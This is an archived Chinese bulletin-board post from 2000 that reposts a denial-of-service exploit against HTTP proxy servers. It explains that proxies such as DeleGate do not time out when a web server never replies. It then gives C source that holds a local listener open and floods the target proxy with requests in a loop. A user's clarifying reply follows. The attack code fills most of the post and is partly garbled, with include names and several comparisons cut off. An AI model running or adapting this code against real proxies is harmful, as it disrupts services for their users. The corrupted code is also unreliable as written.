发信人: scz (小四), 信区: Security
标 题: HTTP 代理的停止服务攻击
发信站: 武汉白云黄鹤站 (Fri Jun 16 23:55:24 2000), 站内信件
原文出处:http://packetstorm.securify.com/0006-exploits/proxy.dos
HTTP 代理的停止服务攻击
Quans: Redp0wer
www.red.sunsnet.com
浏览器在使用http代理时,我发现一个有意思的错误, 代理服务器不做timeout检查在
要访问的web服务器上,既然这样,我们就可以利用 fork() 来复制大量错误请求进程,
来攻击代理服务器. 我攻击过用delegate6.1.13的代理服务器,它先是延时,然后速度
大幅下降,在用完所有空数据包之后,它不接受任何请求. 我想这个漏洞是普遍存在的,
所以,它可能在大多数代理服务器上存在.
这段代码的原理很简单,就是我先绑定自己的80端口,然后用listen() 来监听大量的
请求,只监听,并不回复它,然后连接要攻击的代理服务器,创建一个访问我自己的进程,
然后复制大量的访问子进程.......:)
-- CUT HERE --
#include
#include
#include
#include
#include
#include
#include
#include
#define HOLD 65535
#define MAX 4096
#define PORT 8080
void Stall(void)
{
if (!fork()) {
struct sockaddr_in box;
int sock;
sock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (sock
memset(&box,0,sizeof(struct sockaddr_in));
box.sin_addr.s_addr = INADDR_ANY;
box.sin_port = htons(80);
box.sin_family = AF_INET;
if (bind(sock,(struct sockaddr*)&box,sizeof(struct sockaddr)) perror("bind() ");
exit(1);
}
if (listen(sock,HOLD) perror("listen() ");
exit(1);
}
for (;;); /* keep holding up the connections */
}
}
int Connect(int ip, int port)
{
int sock;
struct sockaddr_in x0r;
sock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (sock perror("Connect()->socket() ");
return -1;
}
memset(&x0r,0,sizeof(struct sockaddr_in));
x0r.sin_port = htons(port);
x0r.sin_addr.s_addr = ip;
x0r.sin_family = AF_INET;
if (connect(sock,(struct sockaddr*)&x0r,sizeof(struct sockaddr)) perror("Connect()->connect() ");
return sock;
}
int sprint(int fd, const char *str,...)
{
va_list args;
char msg[MAX];
memset(&msg,0,sizeof(msg));
va_start(args,str);
vsnprintf(msg,MAX,str,args);
return(write(fd,msg,strlen(msg)));
}
int main(int argc, char *argv[])
{
int fd=1,keepalive=1;
fprintf(stderr, "Many http proxies denial of service by sectorx\n");
if (argc < 3) {
fprintf(stderr, "Hmm...usage: %s [ -no-keepalive ]\n
,argv[0]);
exit(1);
}
if (argc>3) keepalive=0;
fprintf(stderr, "Keep-alive = %d\n",keepalive);
Stall();
fprintf(stderr, "Attacking: ");
while (fd>0) {
fd = Connect(inet_addr(argv[2]),PORT);
sprint(fd,"GET http://%s/ HTTP/1.0\n\n",argv[1]);
if (keepalive == 0) close(fd);
fprintf(stderr, ".");
}
if (keepalive == 1) for(;;);
}
-- CUT HERE --
scz:
让我来理解一下你的意思,http proxy发出http request之后,如果http server
没有发出http reply,http proxy并不会象普通的http client一样靠timeout
终止这次连接请求,于是处在无限等待状态中?
是这个意思吗?
--
也许有一天,他再从海上蓬蓬的雨点中升起,
飞向西来,再形成一道江流,再冲倒两旁的石壁,
再来寻夹岸的桃花。然而,我不敢说来生,也不敢信来生......
※ 修改:.triton 于 Jun 19 08:47:23 修改本文.[FROM: prai.hust.edu.cn]